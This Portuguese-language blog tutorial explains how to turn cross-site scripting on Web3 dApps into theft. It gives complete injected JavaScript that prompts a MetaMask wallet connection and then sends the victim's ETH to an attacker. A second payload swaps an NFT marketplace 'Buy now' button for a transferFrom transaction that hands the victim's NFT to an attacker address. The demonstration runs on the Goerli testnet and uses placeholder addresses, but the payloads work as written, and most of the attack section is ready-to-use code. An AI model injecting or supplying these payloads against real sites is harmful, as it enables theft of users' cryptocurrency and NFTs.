Explorando Cross Site Scripting (XSS) em Web3

Dec 30 2022
Introdução Cross-Site Scripting (XSS) é um tipo de ataque cibernético no qual um invasor injeta código malicioso em um site ou aplicativo da web. O código injetado geralmente está na forma de um script, que é executado pelo navegador da vítima.

Introdução

Cross-Site Scripting (XSS) é um tipo de ataque cibernético no qual um invasor injeta código malicioso em um site ou aplicativo da web. O código injetado geralmente está na forma de um script, que é executado pelo navegador da vítima. Isso pode permitir que o invasor roube informações confidenciais, como credenciais de login ou dados financeiros, ou execute outras ações maliciosas em nome da vítima.

Introdução ao contrato inteligente

Um “contrato inteligente” é simplesmente um programa executado na blockchain Ethereum. É uma coleção de código (suas funções) e dados (seu estado) que reside em um endereço específico na blockchain Ethereum.

Contratos inteligentes são um tipo de conta Ethereum. Isso significa que eles têm saldo e podem ser alvo de transações. No entanto, eles não são controlados por um usuário; em vez disso, são implantados na rede e executados conforme programado. As contas de usuário podem interagir com um contrato inteligente enviando transações que executam uma função definida no contrato inteligente. Os contratos inteligentes podem definir regras, como um contrato regular, e aplicá-las automaticamente por meio do código. Os contratos inteligentes não podem ser excluídos por padrão e as interações com eles são irreversíveis.

O que é uma transação blockchain?

As transações não estão mais limitadas apenas a transferências financeiras e, com o desenvolvimento das redes blockchain, agora você pode usar o blockchain em outras atividades além das transferências financeiras; portanto, qualquer modificação no estado do blockchain agora é chamada de transação, seja uma transferência financeira para alguém ou sua interação com um contrato inteligente.

Aplicativos descentralizados (dApps) e contratos inteligentes

Muitas pessoas usam de forma intercambiável os termos contratos inteligentes e aplicativos descentralizados (dApps), mas isso é incorreto. Um contrato inteligente é simplesmente um pedaço de código armazenado no blockchain. Um dApp, no entanto, conecta o front-end ao back-end e pode usar vários contratos inteligentes para executar.

Carteira MetaMask em resumo

  • MetaMask é uma carteira de criptomoeda que permite aos usuários armazenar Ether e outros tokens ERC-20.
  • A carteira também pode ser usada para interagir com aplicativos descentralizados.

Autenticação Web3

A maioria dos aplicativos descentralizados (dApps) não autentica os usuários por nome de usuário/senha, em vez disso, eles usam endereços criptográficos para identificar os usuários; cookies, porque as operações em blockchain exigiam a chave privada do usuário para assinar todas as transações (essa chave privada existe apenas no computador do usuário e é impossível roubá-la com ataques como XSS).

O que podemos fazer?

Neste tópico, explicarei algumas ideias de como você pode explorá-lo com o ataque XSS para obter a maior gravidade possível.

Usarei a carteira MetaMask durante esta explicação, porque é a carteira mais popular.

Antes de começar

Faremos nosso teste na rede testnet Goerli em vez da rede principal, para que não tenhamos que lidar com dinheiro real.

Portanto, precisamos ativar a rede Goerli em nossa carteira.

Você pode obter ETH de teste para a rede Goerli aqui .

Conecte-se à MetaMask!

Esta primeira parte do nosso ataque é fazer com que o usuário conecte sua carteira ao site dApp. A melhor coisa aqui é quando o MetaMask pede ao usuário para aprovar a conexão, ele mostra o URL do site dApp, isso deixa o usuário um pouco confiante.

O seguinte código JavaScript solicitará que o usuário conecte sua carteira:

const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
  ethereum.request({ method: "eth_requestAccounts" });
});

Agora, o usuário está conectado ao site dApp. Depois disso, criaremos uma carga útil para fazer uma transação que enviará dinheiro para o invasor.

A carga útil a seguir é para fazer uma transação que enviará 0,01 ETH da vítima para o invasor:

const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
  const transactionParameters = {
    nonce: "0x00",
    gasPrice: "0x244AC6D",
    gas: "0x12A52",
    to: "0x0000000000000000000000000000000000000000",
    from: ethereum.selectedAddress,
    value: "0x2386F26FC10000",
    data: "0x00",
    chainId: "0x5",
  };

  const txHash = await ethereum.request({
    method: "eth_sendTransaction",
    params: [transactionParameters],
  });
});

Como você pode ver, este ataque precisa de interação do usuário, mas não se esqueça que na primeira parte, o MetaMask mostrará a URL do usuário do site vulnerável e isso o deixará confiante se ele não tiver conhecimento técnico.

Agora, vamos explicar mais detalhes sobre o payload anterior.

para transactionParametersobjeto, temos algumas coisas importantes que você precisa saber:

1- to: o valor deste parâmetro é o endereço do destinatário (pode ser uma chave pública da sua conta, ou um endereço de contrato).

2- value: a quantidade de ether (em Hex) que você deseja enviar.

3- data: este parâmetro é útil quando queremos fazer interações de um contrato inteligente (falarei sobre isso daqui a pouco).

4- chainId: aqui usamos Goerli testnet, e o chainId dela é 0x5 ( cada rede tem um chainId único).

Você pode encontrar o chainId para as outras redes aqui .

Uma nova exploração

O importante antes de determinar a exploração que você fornecerá é conhecer a lógica de negócios do dApp, por exemplo, se encontrarmos um XSS armazenado no mercado NFT na página de detalhes do NFT (que mostra detalhes sobre o NFT específico), nesse caso, não usaremos o exploit anterior, em vez disso, criaremos um novo cenário.

A maioria dos mercados de NFT tem uma “página de detalhes de NFT” como esta:

Então, quando você clicar no botão “Comprar agora”, um pop-up MetaMask aparecerá para você aprovar a transação (este é o comportamento normal). Vamos abusar disso agora, então precisamos mudar esse comportamento.

Primeiro explicarei o cenário de ataque e depois escreveremos a exploração. Quando o usuário clicar em “Comprar agora”, queremos fazer uma chamada de API nos bastidores até obtermos os NFTs que o usuário possui, então transferiremos a propriedade do NFT para nós quando ele confirmar a transação via MetaMask.

Usaremos a API OpenSea para fazer uma solicitação de API para obter todos os NFTs do usuário.

const req = new XMLHttpRequest();
req.open(
  "GET",
  `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();

req.onreadystatechange = async () => {
  if (req.readyState === 4) {
    const data = JSON.parse(req.response);
    const SC_address = data["assets"][0]["asset_contract"]["address"];
    const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
  }

SC_address: Esta variável conterá o endereço do contrato inteligente (endereço NFT).

tokenId: Esta variável conterá o tokenId do NFT.

Agora, criaremos uma nova transação que fará com que o usuário aprove a transferência de sua NFT para o invasor:

const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
  nonce: "0x00",
  gasPrice: "0x244AC6D",
  gas: "0x12A52",
  to: SC_address,
  from: ethereum.selectedAddress,
  value: "0x00",
  data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
  chainId: "0x5",
};
const txHash = await ethereum.request({
  method: "eth_sendTransaction",
  params: [transactionParameters],
});

O objeto data in transactionParametersrepresenta a informação que precisamos para chamar a transferFrom função (Método ERC-721).

Mais detalhes sobre os dados:

23b872dd representam o MethodID da função. transferFrom

${ethereum.selectedAddress.substr(2)}representam o endereço do usuário.

${“0”.repeat(64 — tokenId.length)}: aqui calculamos o comprimento do tokenId, então vamos subtraí-lo de 64 até preencher o restante dos dados em zeros.

Agora, nossa transação está pronta, vamos juntar tudo.

document.getElementById("buy").addEventListener("click", async () => {
  const req = new XMLHttpRequest();
  req.open(
    "GET",
    `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
  );
  req.send();
  req.onreadystatechange = async () => {
    if (req.readyState === 4) {
      const data = JSON.parse(req.response);
      const SC_address = data["assets"][0]["asset_contract"]["address"];
      const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
      const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
      const transactionParameters = {
        nonce: "0x00",
        gasPrice: "0x244AC6D",
        gas: "0x12A52",
        to: SC_address,
        from: ethereum.selectedAddress,
        value: "0x00",
        data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
        chainId: "0x5",
      };
      const txHash = await ethereum.request({
        method: "eth_sendTransaction",
        params: [transactionParameters],
      });
    }
  };
});

Obrigado por sua leitura, espero que minha história tenha sido útil.